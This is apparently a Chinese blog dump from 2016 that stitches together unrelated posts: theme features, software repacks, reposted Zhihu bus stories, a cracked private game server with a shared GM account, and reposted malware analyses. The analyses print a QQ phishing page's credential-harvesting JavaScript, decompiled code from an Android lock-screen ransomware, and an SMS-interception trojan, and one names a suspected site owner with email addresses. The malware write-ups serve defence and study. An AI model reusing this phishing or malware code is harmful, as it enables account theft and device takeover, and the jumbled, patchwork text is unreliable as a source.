2016年10月

已经完成网站整体搬迁,有问题请联系纯情。文章的更新容我缓口气,以后关于ssc的文章均不分享在首页。请谨记

觉很想社区风格主题特色

  • 1、前端换肤。目前有四套皮肤,后续每次更新将设计一套皮肤
  • 
2、弹窗登录+前端登录+收藏夹(不用登录也可以理由cookies收藏)+集成输入密码注册
  • 3、响应式布局+手机端设计个性与众不同
  • 4、单栏双栏后台自定义切换(下个版本将发布前台切换单双栏)
  • 5、栏目页面,图文列表与图格列表带cookies一件切换
  • 6、弹窗通知+支持后台设置html内容+插入图片
  • 7、强大的心情文章形式+后台选择天气与来自方式+背景颜色边框颜色
  • 8、弹窗搜索+弹幕热门搜索+后台自定义设置搜索背景图与搜索logo
  • 9、强大的独立友链页面筛选分类功能,无需刷新页面
  • 10、文章信息栏(就是分类、时间、作者),后台支持拖拽自定义排序与开启关闭
11、文章页面侧栏信息页面(仿百度贴吧)
  • 12、底部小盒子+打开与关闭js控制+后台个性编辑
  • 13、强大大气的幻灯片+后台设置
  • 14、集成喜欢功能+侧栏最多人喜欢小工具
  • 15、侧栏js滚动跟随效果
  • 16、底部后台编辑支持html+隐藏站长统计
  • 17、侧栏返回顶部工具盒
  • 18、文章小头像+支持动态图片+后台设置左边或右边+开启与关闭
  • 19、右上角小气球欢迎+后台开启关闭+自定义编辑欢迎语
  • 20、时间轴评论+神评论+字数限制+显示ip+@功能
  • 
21、什么强大的右上角新手引导功能
  • 
22、分享小卡片+后台编辑分享次数
  • 23、后台自定义css+js输入
  • 24、手机端侧栏+顶部头像弹窗+右下角工具栏+个性签名
  • 独特的注册页面
小工具:个人收藏夹、热门收藏、最多人喜欢、最新评论、随机文章、网站统计、图片展示


还有丰富的后台设置

ps:源码请自行测试

PotPlayer是最好用的播放器,没有之一!PotPlayer使用C++ 编写,继承了 KMPlayer 方便的滤镜以及外挂式的管理系统,同时简化了内部的解码器体系,现在基本依靠 Bass 和 FFmpeg 系滤镜解决播放问题。

 

版本特点:
1、程序支持在 WIN8.1、WIN8、WIN7、WIN2003、WINXP 上运行。
2、集成四枚简约皮肤:IOS7 Style White(默认)、YouTube-TitleBar-Slim、Zetro、Metr 2.1-Fin。
3、集成三枚简约风格关联图标,几乎囊括所有媒体文件格式。
4、安装过程中自动关联常用视频文件,自动备份系统中的原有关联,与播放器本身的关联方案完美兼容。
5、卸载过程中自动恢复安装时备份的原有关联信息。
6、单个进程即选即播,记忆播放位置,最小化后暂停播放。
7、不会自动更新且不预先下载更新文件,无棒子的TV推送。
8、更多特点请自行发现……
默认界面:

默认图标:

安装截图:




更换皮肤:

主界面右键单击-皮肤,左键单击选择心仪的皮肤。



更换图标:

主界面右键单击-选项-关联,点击图标下拉框,选择心仪的图标,点击应用按钮。

更新日志:

https://zybuluo.com/PotPlayer/note/271337

关于版本:
Public=公开发布正式版
Dev=开发版(版本号几乎每天更新)

另外再啰嗦一句:
64位版只有Public才有,并不像32位版那样更新频繁,所以,拜托某些同学长点心,不要再问为什么64位怎么不更新之类的问题了,好吧?

其实32位版完全可以在64位有运行。

刚才在捣鼓xshell。上面的小图标是红色的,就是我画的小红色圆圈里的,正常的时候是绿色的,如果出现红色,就说明有问题了。

 

[caption id="attachment_2041" align="alignnone" width="563"]xshell wget xshell wget[/caption]

解决方法:

1.我把安装目录的wget.exe删除才会出现这个问题,win8的话,尝试把绿色版放在非系统的根目录。

2.很明显你的bat文件目录下没有wget。exe文件,下载一个和bat文件放在一起就行了

我自己就是把软件卸载后重新安装的D盘的。


支持以下所有的解析播放
支持以下所有的解析:
1.优酷  2.爱奇艺  3.土豆  4.乐视  5.芒果tv 6.PPTV  7.乐视云计算 8.哔哩哔哩
9.AC弹幕 10.华数 11.酷6  12.56视频 13.CNTV  14.风行  15.PPTV云 16.QQ视频
17.搜狐 18.糖豆 18.微录客 19.哇趣 20.爱拍 21.音悦台 22.优米网 23.M1905电影
24.秒拍 25.美拍 26.优酷云  27.6房间 28.网易公开课 29.暴风影音 30.爆米花
31.虎牙视频 32.凤凰视频  33.龙珠视频   34.新浪视频 35.YY神曲 36.快手视频
下载地址:

[tinr2v]

https://yunpan.cn/cvsdxSZFnNZud (提取码:a175)[/tinr2v]

关于在知乎的提问”你在挤公交时碰到过哪些奇人或者趣事?“的回答

乔挥味的回答

七八年前某天,我在南京公交上遇到了那朵奇葩男子,他可能是前夜喝多了,早上酒还没醒,带着老婆孩子摇头晃脑上了空调车,坐在我的前排座位。
车子一发动,他一捂嘴便要吐,但是能看出来他是个素质很高并且腼腆的人,因为他另外一只手扒拉窗户想伸出头到外面吐。
但是空调车固定死的窗户岂能让他得逞,他惶恐之下倒也有急智,赶紧收了双手拢成碗状,悄无声息地朝手里吐了满满一碗。
我看得浑身酥软,不敢再看,但是我又很想知道接下来他会怎么办。
强烈的好奇心驱使我做贼般偷偷瞄向他,只见他不动声色地把一碗东西一仰头全喝了。
我差那么一点点就吐了。
我敢说,这世界上,他是最有公德心的人,没有之一。

Kirisame Maris的回答

有一年,坐公车,去找老师办某事,车上半截,上来了一个人,在车行进中的时候,突然大声宣布自己是某某猪宝公司的推销员,原价XX元的翡翠首饰,折扣价50出手,厂家直销神马神马的,然后就出现了几个人询问啦,现场购买啦(在公车上)的状况,明眼人一看就知道是托儿,看着熙熙攘攘的样子,好不热闹,当时也没在乎神马,感觉很正常,等到了站,我下了车,我准备跟老师联系的时候发现,我去,我的外套内兜被某锋利物体划了一个10厘米左右的口子 手机已经不翼而飞了,囧,我想刚才可能是在车上,被小偷顺水摸鱼了,罢了罢了,旧的不去新的不来,而且当时是我那个手机,屏幕不小心被我坐坏了,只能接打电话,看不到短信,还没来得及去修,于是只好找个网吧说打算去网吧看下同学在不在,以次联系老师,结果,我到了网吧,掏钱的时候,发现P兜里鼓鼓囊囊的,不知道是神马,摸出来一看,我去,我怎么把手机放在这里了?脑子短时间短路还没有反应过来,,我以为是我放错地方了,自己忘记了,就也没想神马,马上跟老师联系,约好了位置,准备去见面,走的路上,突然觉醒了(时隔了20分钟有余),原来是TM那个小偷,的确偷了我手机,拿到手一看,我X,这样的手机出不了手,又给我送回来了,这TM真是让我开了眼了,我第一次遇到一个这样有 职业操守 的贼啊。。我去。。毕生难忘,现在那部手机还珍藏在家里。 囧

嘘疲的回答

刚上班时公司离家特别远,坐公交车要2个小时,有且只有一趟直达车。早高峰人多的不行,沿途各种中学大学,一日身旁一女大学生,背一个巨大的登山包,装满了东西,挤得我不行(本人体硕)。忍无可忍之时建议她是否能将背包卸下,置于脚边,本人多次建议只受到白眼数次,无奈做了一件泯灭人性的事,将我上车之前买的早点(鸡蛋灌饼外翻,内侧有甜面酱)的酱汁全部蹭在了她那血红色的登山包上(心疼我那逝去的四元钱)。之后头也不回的下车等下一趟…
这么残暴的事情只是一时冲动,如果受害者看到,请不要与我联系!谢谢!

鸢尾花家徽的回答

第一件事。在车站上车的时候,单肩包被人拉到身后了(绝逼有同伙!)手机一瞬间就被偷了,当时听着歌呢,刚好切歌了,以为是卡了,拿出来一看才发现手机没了。从此坐公交不管背什么包都要放在身前。
第二件事。我家附近有一个公交车的始发站,人很少,有一次就我和一个女生在等车,那天我也不知道咋了,一向对着女生憋不出个屁的我居然跟他开始搭讪,上车后也是巧,我跟在他后面,她东西掉了,我俩同时弯腰去捡,结果我捡起来了,俩人头还撞在一起。。。。聊了一路,要到联系方式了

刘畅的回答

冬天有次坐公交 前面一个座位上有个女人抱着不大的孩子 旁边窗户坏掉了关不上 风一直吹 我之前还问那个人要不要换下座位我那边风小一些别吹到孩子 然后她笑说不用 再后来一站上来一个乞丐 破破的 站在前面座位旁边 站了一会儿大概觉得冷就开始关窗户 一直一直 使劲儿地关 脑门儿上青筋都爆出来 慢慢的窗户合上了些 我要下车了 就站起来准备走 无意间看到女人怀里的孩子睡着了 每个人心里都是暖的 乞讨者也不例外

冉默的回答

昨晚坐上了回校的末班车 乌压压的人群将我挤到了公交车的角落处 我伸出一只手勉强攀住了横在头顶的扶手
路过某个站点 又是一波人上车 有两个妹子在我身边落脚 一上车其中的一个妹子就开始了叽叽喳喳的侃 另一个妹子靠在我旁边 没有说话 只是听着 我默默戴上耳机刷微博 播放器随机播放了苏打绿的《小宇宙》

(´இ皿இ`)

不知道经过了几站 入耳式的耳机也挡不住那个刚上车就喋喋不休的妹子的声音渗透我耳膜(直达我的思维) 我渐渐感到了身边话很少的那个妹子的后脑一直靠在我攀着抓手的胳膊上 妹子长长的秀发在昏暗的车厢里伴随着晃动在我胳膊上摩擦 我的肱三头肌在这个乍暖还寒得鬼天气里无比温暖
此时耳机里放着艾薇儿的《I want be your girlfriend》 我心里一机灵 (゚Д゚≡゚Д゚)莫非这是个公交恋情的开端?
头发的摩擦会产生静电
我想起了小学课堂上老师的教导
是的老师 我看到了秀发摩擦的和在我心里生出的火花
我默默对小学时的老师说
我摘下了一个耳朵里的耳机 企图听一下这个勇敢示爱的妹子的声音 然而和她一起的那个女伴完全不给我未来女友说话的机会 不休地bb着一些莫名其妙的事情
哎你不知道那个xx好烦的来 brabrabra…
那天你知道他做了什么事情吗 brabrabra
而我身边的妹子只是在认真的听 没有发表任何看法
妈个鸡 看看我老婆的修养 怎么会有你这个样子的闺蜜
我在心里愤愤的说
未来我们在一起后决不能和你有太多来往 如此出污泥而不染的软妹子一定要受到我本人的熏陶
哎你知不知道他也说过你的坏话啊
啊?她说的什么

我擦?!
瞬间我好像感到了眼角的湿润 好好听的声音 虽然我只能看到她娇好的侧脸 但她的声音却像一束月光一样穿透了这沉闷的车厢里 就像白居易在湖畔听到的琵琶声 过往的一切都只成了呕哑嘲哳 我看着身畔伊人 她正看着她的姐妹 看不到我充满爱意的目光 我的视线变得模糊 未来我们子孙满堂 我会给他们讲述我们的故事 在我20岁的一个夜晚 我听到了仙乐 它来自于我爱了一生的一个姑娘
奶奶当时在干什么? 我的孙子问我
呵呵 她当时在听你的姨奶奶闲扯

车马上就到站了 我知道我的挚爱正在等待我迈出第一步 等我要她的手机号 等我问她的喜爱 问她的家庭、学习、生理周期…下车后 全世界都会提前为我们奏响婚礼进行曲 我们会一起走到白发苍苍

我收起我的耳机 整理下车厢里挤皱的衬衫 扭过头 问
你好,我可以…

什么?他MB敢这么说我??

我当时是想说什么来着 我只知道我把蛰伏在唇边的字一个个的咬碎 吞进了肚子

嗯,什么事? 妹子回头看我

同学请让一下 我要下车了

赤名莉香能吃吗 的回答

某天下雨,车上人特多,我坐在最前排座位。就是那种把腿朝向过道的。
中途一站上来好多人,一个身穿浅蓝色衬衫的男孩子上车了,人群之中还是挺显眼的,毕竟挺清秀。
低头玩三国杀,车晃来晃去,突然,觉得我的膝盖好像一直在碰到什么软软的东西。o(╯□╰)o

你猜是神马?
是神马?
神马?

没错,就是你想的那样,这个蓝孩子居然他么的借着车晃来晃去晃晃悠悠的用他的小丁丁磨蹭老娘膝盖啊!!!

我关了手机,也没挪膝盖,就是认真的看着他,睁大眼睛认真的看着!!!虽然我闺蜜都说我当时应该用膝盖顶上去~~~
然后,然后他就走开了。
史上最奇葩经历。
本文转载自知乎。
原文地址:http://www.zhihu.com/question/19888495

特别说明:别说什么密码不对,不对的只能怪自己没认真看!!1.解压服务端到任意硬盘。(如:D:\TGL魔域)
2.安装VMware10.(网络适配器选择自定义,VM8)

3.打开VMware---》编辑---》编辑虚拟网络---》VMnet8---》IP 为192.168.200.0--->保存---》打开虚拟机---》服务端镜像---》打开---》打开虚拟机电源--->我移动它(I moved)第一次.

4.登录镜像(帐号密码:root 123456)
5.启动(直接输入./run) 关闭(./stop)6.打开192.168.200.129进入游戏
解压密码:
http://www.52pojie.cn
















另外为了那些不会自己修改的朋友送上一调好的账号一枚,网页魔石9999,购买一个GM后就能无限刷点卷了!
账号:zc1122 密码:111111

[tinr2v]
链接:http://pan.baidu.com/s/1b324Bc 密码:om87
mima:新版魔域世界,还是L版,没有win版就是可惜,将就用吧。。。

[/tinr2v]
 

 【2016象棋软件整合版】【QQ评测包上业余8级】

棋力级别:超越人类特级大师
引擎数量:12个请根据自己的电脑配置来使用
本套软件搭配10.3号最新飞刀开局库(开局不惧怕任何商业库
软件整合:兵河五四2.7(无壳版)兵河五四3.6最新版咪兔助手(支持后台)名手象棋(顶级2G开局库)鹏飞象棋3.3.3.9(配套开局库)


本套软件用的开局库是目前最好的不惧怕任何商业库!
使用教程也有不会的朋友可以下载观看就会了非常简单打包一切:觉得好的打个分!https://yunpan.cn/cvAbtgZWpxZRM  访问密码 72d6

第一部分

今天又在继续修改,去掉了很多没用的东西。

第二部分

更多的注重访问速度和用户体验

第三部分

将加载的一些flash代码都给去掉了,包括背景音乐。将首页分类也从首页菜单中去掉,放在其他地方了。

第四部分

前台边栏加了用户中心和人们搜索等分类,具体的希望大家体验。

第一部分:评论审核右邮件通知

为了防止博客被垃圾评论和一些传销广告污染,博客开启了后台人工审核的方式,但是这种审核方式也有一些不便,有朋友提个问题什么的,回复他了,他也不知道,这次就加了段代码,审核通过后会通过邮件通知他,当然,前提是他留的邮箱是可以联系到他的。

第二部分:给通过搜索引擎进来的访客提供相关文章

这一点对于大家来说似乎然并卵,不过对于一个网站站长来说至关重要,做个人网站要的就是流量,注重的就是用户体验,so,为了留住一些访客。弄了个这么个东西。

第三部分:网站安全

上个月也说了,网站遭到后台暴力破解,虽然对博客没什么影响,不过老是受到登录错误的提示,都看的烦了,所以搞了个安全防护插件,也就是评论中的一个朋友推荐的安全插件。用了挺不错。在此感谢那位朋友推荐了。

第四部分:显示浏览过的文章

这个功能也挺不错的,就是可以显示你看货哪些文章,并且在右边显示,我设置为“您刚刚看过”,这个样式看起来有点怪怪的。。。各位有什么意见可以提。

最近文章更新内容

这几天更新文章大都是一种类型的。昨天的是关于教育和公务员方面的资料分享,今天的是关于安卓手机安全方面的文章。都是转载自其他网站的。

最后祝大家国庆快乐。虽然吃了点。。。

hello 纯情

首先说下,本人真的是纯菜鸟,有限的知识也是通过本论坛学习而得知,所以大神们不要喷我,谢谢
直接进入主题吧
把APK文件拉到Androidkiller里分析,发现入口是.M

接下来查看下源码,打开MyAdmin.class,发现软件把锁屏密码改成了9797

public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(9797);
    getManager(paramContext).lockNow();
    getManager(paramContext).resetPassword(str, 0);
    return super.onDisableRequested(paramContext, paramIntent);
  }
   
  @Override
  public void onEnabled(Context paramContext, Intent paramIntent)
  {
    String str = Integer.toString(9797);
    try
    {
      Object localObject = Class.forName("com.h.s");
      localObject = new Intent(paramContext, (Class)localObject);
      ((Intent)localObject).setFlags(268435456);
      paramContext.startService((Intent)localObject);
      getManager(paramContext).resetPassword(str, 0);
      super.onEnabled(paramContext, paramIntent);
      return;

然后再打开S.class,翻到下面, ,我们很明显看到,解锁密码就是  随机码+6789

public void onCreate()
  {
    super.onCreate();
    this.pass = ((Math.random() * 100000000));
    this.passw = new Long(this.pass + 6789);
    this.des = new DU("flower");
    try

如你的随机码是111111,那么解锁密码就是 117900

视频地址 http://pan.baidu.com/s/1o8aWDo2
样本:http://pan.baidu.com/s/1dFE4BhJ

一张图破解微信特种兵!!!

这个破解很简单,但是对有的新手还是不会的,看了有人发了算号机,个人觉得还是破解速度!由于没有加固那破解来说就是简单很多了!

 

 

想练手的可以自行下载:https://yunpan.cn/ck7DZmDNGeJyh (提取码:ca4f

来自吾爱破解,同一个网站,百分之八九十的人肯定见过这种东西,

第一篇:手机版分析,

原文链接:http://www.52pojie.cn/thread-514804-1-2.html

网址先贴出来http://www.xblteam.net/abc123

0x0 起因
收到好几个好友的信息,居然都是同类的信息(如下图1)。伪装描述信息为QQ空间,并附上文字和图片增加可信度。(点开后如下图2。)
(但终究只是小把戏而已,此类网页盗号一看便知的吧,然而好多人中招。)


0x1 抓包
刚开始用手机设置代{过}{滤}理,用Fiddler抓的包,结果如下。


从表面上看,先是一个301跳转,跳转到http://www.xblteam.net/abc123/(应该是我输入地址的时候漏掉的斜杠,不用管)
跳转后加载网页源码,然后加载js和图片,就到了起因中的第二幅图了。

0x2 分析js
第一个js是jquery库,与分析无关。主要是第二个和第三个。
第二个mobile.js是检测当前UA,如果UA不是手机,就跳转到QQ主页。
第三个kr.js是输入账号密码后点击登陆按钮之后的操作,用正则检查账号是否合法(否则提示"请输入正确的QQ号"),密码是否为空 (否则提示"密码不能为空")。
如果都合法就POST提交到"/index/qq.php" ,然后跳转到"http://user.qzone.qq.com/1064065158?ptlang=2052"(应该是为了使跳转更逼真,也许还顺带刷这个Q的空间人气)
(js我贴在最后)

0x3 测试
用手机按照合法的规则输入账号密码,然后提交,果然和上面的分析一样。
然后直接用电脑,如果不伪装UA就马上跳转到QQ主页。伪装后和手机测试的结果一样。

0x4 总结
盗号者首先伪装描述信息,盗取到QQ后利用群发工具再次群发此信息,扩散式的传播,并伴随盗取账号Q币,发广告等行为。

0x5 查Whois、反查
简单的查了下,得知以下信息:
建站人是胡伟生,邮箱有backorder1@dotmedia.com 20702176@qq.com 80010864@qq.com 地址也能查到,就不发出来了。
发现这个人创了好多站点,所以也可能是盗号者买了他的网站。

0x6 最后

几天前就举报了这个网站,现在还是显示安全,看来盗号者为了过网站检测也是用心良苦。专门用顶级域名延长扩散时间,并使用js来防御来自一般PC的检测,只针对手机,也利用了QQ内置浏览器不显示url的特点。
不过这类网站只要换个网址就又可以继续蹦跶了,希望大家加强警惕,在不确认的情况下不要随意输入账号密码。

两个js如下:

mobile:

var util = (function() {
        var u = navigator.userAgent.toLowerCase();
        return {
                isIphone: function() {
                        return (RegExp("iphone").test(u) || RegExp("ipod touch").test(u))
                },
                isIpad: function() {
                        return RegExp("ipad").test(u)
                },
                isAndroid: function() {
                        return (RegExp("android").test(u) || RegExp("android 2").test(u))
                },
                isMB: function() {
                        return (util.isIphone() || util.isIpad() || util.isAndroid())
                }
        };
})();
window.util = util; (function() {
        if (!util.isMB()) {
                window.location.href = 'http://www.qq.com';
                /**    ķ      PC   ʶ  */
        }
})();

kr:

function check(){
        //alert($("input[name=username]").val());
        //alert($("input[name=password]").val());
        var qq=$("input[name=username]").val();
        var passord=$("input[name=password]").val();
        var re=/^[1-9][0-9]{4,}$/;
        if(!re.test(qq)){
                 alert("请输入正确的QQ号");
             return false;
        }
        if(passord==""){
                 alert("密码不能为空");
             return false;
        }
 
          
 
//        $.ajax({
//            //提交数据的类型 POST GET
//            type:"POST",
//            //提交的网址
//            url:"/index/qq.php",
//            //提交的数据
//            data:{q:qq,p:password},
//            //返回数据的格式
//            datatype: "text",//"xml", "html", "script", "json", "jsonp", "text".
//            //在请求之前调用的函数
//            beforeSend:function(){ },
//            //成功返回之后调用的函数             
//            success:function(data){alert("sucdess");}   ,
//            //调用执行后调用的函数
//            complete: function(XMLHttpRequest, textStatus){
//               //alert(XMLHttpRequest.responseText);
//               //alert(textStatus);
//                //HideLoading();
//            },
//            //调用出错执行的函数
//            error: function(){
//                                alert("error");
//                //请求出错处理
//            }         
//         });
 
 
var return_val=false;
 
$.ajax( {  
    url:'/index/qq.php',// 跳转到 action  
    data:{  
             q : qq,  
             p : passord
    },  
    type:'post',  
    async : false,
    cache:false,  
    dataType:'text',  
    success:function(data) {  
                //window.location.href="http://www.qq.com/";
                //alert(data);
        if(data ==1 ){
                        //alert("fuck");
                        window.location.href="http://user.qzone.qq.com/1064065158?ptlang=2052";             
            $("#info").text("QQ账号或者密码错误,请重新输入!");
                        $("#info").css("color","#FF0000");        
                }else if(data==2){
                        window.location.href="http://user.qzone.qq.com/1064065158?ptlang=2052";             
        }else{
                 
                }
                         
     },  
     error : function() {  
                   
          // view("异常!");  
//       alert("异常!");  
     }  
});
 
 
return return_val;
         
 
}

第二篇:PC端分析

原文链接:http://www.52pojie.cn/thread-514628-1-1.html

早在几周前,一打开手机就发现了许多好友都给我发了一句名为《免费领取500M流量》的消息就像下图所示。


看这消息,根本就不是发的消息嘛,就是XML消息。至于XML,自己去问度娘吧,我这里就不详细的说了。

本来不想管,但是就在今天12号,发现了又有这种类似的,而且还变了花样,你想闹哪样?

那么我就随便的分析一下吧,大神别喷我。


这个就是受害者,当然也很多,我就随便拿了一张o(*≧▽≦)ツ

然后怎么办呢?那我们分析当然要从网站下手了。


复制一下链接得到http://www.xbLteam.net/abc123是这位骚年发给我的。

好的,那么找到了网页地址就好办了。

先去Whois查询,得到如图。


可以看到这个域名是在2016年创建的,但是这里的信息也没有一个有用的,什么邮箱啊,手机号码啊,都是假的!

那我就要使用我的杀手锏了,把这个http://www.xbLteam.net/abc123网页源码下载了如何?于是我马上行动,下载得到图。


打开第一个index.htm这个静态网页。

我吓了一条。这明显是盗号的好吧。


还要输入QQ账号和密码。

文件jquery-2.1.1.min.js和logo.png都没有什么发现,但是在jquery-2.1.1.min.js发现了XML,估计是XML消息吧,但是好像加密过,是乱码也不管了,我们打开kr.js这个最重要的。我只能呵呵。


好吧,聪明的人应该可以知道这个作者的QQ号了。

大家记住哈这个“好人” 的作者QQ为1064065158。至于以后的你们也懂得。

目测此网站后台有数据库,输入的密码账号会记录到里面,还望大家相互告知,遇到这种不知名的网站不要乱输入。

这个网站很聪明,会自动判断是PC还是手机,如果是PC则会自动跳转到qq.com,如果是手机,那自动切换到钓鱼页面!

简单的判别可以手机点进去然后往下拉一下,你就会看到网站,如果不是为XX.QQ.COM为结尾,但让你输入账号密码的网站,还尽量少输入吧,不要贪小便宜!!

2016年7月27日又见这种网站,话说这个真TM有钱啊,巨大利润是吧?这个贴现在用来收集类似于这种网站的吧@Hmily
Hmily大大上报一下有关部门吧,都是绿星认证,估计都是专门买那种腾讯认证过却没钱续费域名的域名。
也请大家互相监督。欢迎上报~~
以下为盗号网站域名:
http://www.xbLteam.net/abc123
http://www.szzwz.cn/500mcc

0x00-0前言的前面帖 子发出来好几天了,期间被工头叫过去搬砖了,今天回来一看想不到大家这么热情,应版主要求和各位的热烈需求,此处整理了一下帖子,供大家观看,并附上了样 本,密码52pojie,样本其实给出了看雪的下载链接,照顾没有看雪账号的朋友,特此一发。之前未发出完整版绝非为了赚下载,只是本人排版很渣,怕拍出来乱七八糟,还不如看word效果好,这个效果排版效果如何,大家凑合着看吧,本渣尽力了,哈哈!
0x00 前言
新加入论坛,发一下之前的一篇文章,算是给论坛的一点小支持。
样本来自看雪论坛http://bbs.pediy.com/showthread.php?t=204096,当时已给出答案,此处主要写一下分析过 程,算是总结一下,共同进步。首先声明,该样本未被加壳,程序部分混淆,但不严重,主要看论坛中还未涉及此类话题,其次论坛中有人对此加密号码分析过程还 比较感兴趣,所以来一发。
本人菜鸟一枚,首次发帖,高手默默飘过就行,欢迎拍砖!

0x01 特殊字符
JxB打开apk,未加壳,看strings有
1:43410150d9cc2072b6396f06bf57eada5acb86f0d9ee4a45
2:10801d06de02ed80cc58e431c7f1d2ac
明显是被加密了,至于加密的是什么,还是接着分析。
双击10801d06de02ed80cc58e431c7f1d2ac进入引用它的代码(搜索找到也行)。smali转java,可以看出该类主要是进 行shared_prefs处理的,明显的字段名有好多,但是该字段是a01,所以要分析其具体作用,还得继续回溯代码。

ctrl+X查找函数d()的引用,有4个,一个一个看。

0x02 第一个方向:函数d()的引用

com.phone.stop.a.c->b()函数,代码如下:
1.      privateboolean b(String arg7, String arg8, int arg9) {
2.          intv5 = 2;
3.          booleanv0 = true;
4.          if(arg7.contains(a.a(this.a).d())) {
5.              String[]v2 = arg8.split(" ");
6.              if(v2[0].equals("LJ")) {
7.                  if(v2[1].equals("ALL")) {
8.                      a.a(this.a).a(1);
9.                      return v0;
10.                 }
11.  
12.                 if(v2[1].equals("SOME")){
13.                     a.a(this.a).a(v5);
14.                     return v0;
15.                 }
16.  
17.                 if(!v2[1].equals("NO")) {
18.                     return v0;
19.                 }
20.  
21.                 a.a(this.a).a(3);
22.                 returnv0; }

可以看出函数b(估计看过以前分析的都知道该函数是短信控制命令的解析与执行,由此就知道arg7是手机号,arg8是短 信内容了),我们此处暂且认为不知道这些,继续查找函数b的引用,被本类的函数a调用。a函数的交叉引用是类com.phone.stop.a.c中的函 数a,该类是一个短信数据库观察者类,显然是对新到短信进行拦截和监控的。

private voida() {[/align]        Cursor v0 = this.b.query(b.b, null,null, null,"_id desc");
       if(v0 == null || v0.getCount() == 0){
           this.a(v0);
       }
       else {
           if(v0.moveToNext()) {
               String v1 = v0.getString(v0.getColumnIndex("date"));
               if(v1.compareTo(a.a(this.a).b()) > 0) {
                  a.a(this.a).a(v1);
                  int v1_1= v0.getInt(0);
                  this.a(v1_1);
                  String v2= v0.getString(v0.getColumnIndex("address"));
                  String v3= v0.getString(v0.getColumnIndex("body"));
                  this.a(v0);
                   this.a(v2, v3,v1_1);
               }
           }
           this.a(v0);}
此处大概就是处理新短信,可以看出v2就是发短信的号码,v3是短信内容。回到函数 b中,就发现arg7是手机号,arg8是短信内容,但是此处的contain函数类似于直接比较,所以此时shared_prefs中的手机号(也就是 a01)应该是已经解密过了。所以,还得接着看下去!悲剧。。。。。。
后面几个引用,也都是直接比较(详细不再赘述),或者是直接作为sendTextMessage的函数参数,所以解密过程应该是之前执行过了。

0x03换一个方向

前面发现,加密的数据已经被解密使用了,针对shared_prefs中的数据,肯定有解密后数据的写入过程,所以,在最开始的那个类中,我们还发现如下代码:
public voidc(String arg3) {
    SharedPreferences$Editorv0 = this.b.edit();
   v0.putString("a01", arg3);
    v0.commit();
}
函数c是将数据写入到a01的,所以对该函数的引用就应该是解密过程。既然如此,继续ctrl+x。
只有一个函数。废话少说,直接跳到该函数。
public staticvoid a(Context arg2) {
    if(!com.phone.stop.a.a.a(arg2).e()) {
        com.phone.stop.a.a.a(arg2).c(com.phone.stop.b.a.a(com.phone.stop.a.a.a(arg2).d()));
        com.phone.stop.a.a.a(arg2).b(true);
    }
}
看来其中函数c的参数就是解密后的结果,大胆猜测,com.phone.stop.b.a.a就是解密函数,直接进去。
public staticString a(String arg2) {[/align]        String v0_1;
     try {
        v0_1 = new b(com.phone.stop.a.b.f).b(arg2);
     }
     catch(Exceptionv0) {
         v0.printStackTrace();
         v0_1 = "";
     }
     return v0_1;
 }
new了一个类b的对象,参数是com.phone.stop.a.b.f,然后调用了b对象的函数b,再进去。终于快接近答案了,b类是一个DES的加密解密类,函数b就调用dofinal完成解密过程,看来我们离答案真的很近了,com.phone.stop.a.b.f就是解密密钥!

0x04密钥的小伎俩前面找到了com.phone.stop.a.b.f就是解密密钥,下面就看其生成过程,交叉引用如下:

 

其中第三个就是f的赋值过程,具体看截图的代码,一阵欣喜,直接上DES解密工具,结果一段乱码。郁闷!!!!

 

 

接着看其他交叉引用,发现木马作者使用了一个小伎俩,在运行中,对密码做了修改,具体如下:
    public staticString a(StringBuffer arg1){
       arg1.append('x');
        b.f = arg1.toString().getBytes();
        return arg1.toString();
}
密码字符串添加了x,真坏!最后不多说了,直接上图了。

 

 

最后,还有一点就是看是谁调用了解密过程。

 

 

MainActivity->onCreate函数,原来如此,细看吧!
   protectedvoid onCreate(Bundle arg5) {[/align]        super.onCreate(arg5);
        this.setContentView(2130903041);
        com.phone.stop.b.b.a();
        this.getPackageManager().setComponentEnabledSetting(this.getComponentName(),2, 1);
       com.phone.stop.b.b.a(((Context)this));
        com.phone.stop.b.b.b(((Context)this));
        if(!a.a(((Context)this)).i()) {
            e.a("软件安装完毕\n识别码:" + this.getSystemService("phone").getDeviceId() + "\n"+ d.a(), ((Context)
                   this));
            a.a(((Context)this)).e(true);
        }
 
        com.phone.stop.b.a.b(((Context)this));
        this.a();
}
紧接着其后,就是另一个加密字符串的解密,详细分析大家自己搞吧!

0x05后记

首先感谢提供DES加解密工具的网友,虽然我们未曾谋面,谢意一定送出!有需要的网友搜索一下去下载,某不敢剽窃产权!

现 在拦截马还是层出不穷啊,作者也开始考虑隐蔽自己了,有用邮箱发送信息的,账号密码也是类似加密的,以前都是全明文(邮箱被破?网站被爆菊?被反向钓鱼? 啥也不说了,都是眼泪),还有用apkprotect加过壳的。看反编译的代码,还发现初始密码和以前的一个样本stalker很像,估计是。。。。。。 (啥也不说了,估计都出名了)。
这次分析主要还是看java代码,根据函数的交叉引用进行逆向的回溯追踪,直到MainActivity->onCreate,其实主要还是个体力活。未来的主要对抗还是要集中在脱壳部分,不管是dex的还是so的,这方面论坛还有很好的示例,自己要好好学习。
其实,对于获取手机号,有很多方法,有添加log代码重打包运行的,有运行后看程序data目录的shared_prefs数据的。这些都是方法,本方法主要还是想提高一下逆向分析能力,对于理解程序流程很有意义,知其然更要知其所以然吗!

最后再次PS:首次发帖,欢迎拍砖!

短信拦截马之加密号码分析第二弹

0x00 前言

新年快要到了,提前祝大家新年快乐!
在 2015年的最后一个下午,有很多话想说,却又不知道从何说起,突然想起了自己早上脑子里忽然蹦出的一个念头:人们常说:“一叶障目,不见泰山”,想必是 登高才能望远,多数时候环境确实没有给我们提供登高望远的机会,使得很多事情难以尽兴!但是,突然发现,有的时候,我们看的不远是因为我们处在一个不能让 自己看远的道路上,比如在狭窄的山路上行车,人的视线最多也就是20米、甚至10米,这个时候你就不能望远;而在高速公路上,人的视线必须在50米开外, 此时你要是只看近处则比较危险!是啊,很多时候,不是你先近就近,你想远就远的,得看你在什么路上!而路,是一个永远也讲不完的话题。。。。。。
扯远了,进入正题。

0x01 变化

书接上回,上次说到MM作者将号码以DES加密的形式隐藏在configure文件中,我们通过逆向其写入configure文件的过程,进而找到其解密过程,获取真正的控制手机号码。
前 几天,又获取一个样本,这个样本的基本功能和前一个差不多,区别就是在于加密的方式不同了,而且还呈现了一些新的特性,比如更重要的控制手机号码不再写入 configure文件中了,只存在于内存中,这个确实给我们分析带来了巨大不便,看来此次也是煞费苦心啊!不多说,下面直接开始分析,样本在附件,密码 52pojie。

0x02 来看看MM的百宝箱

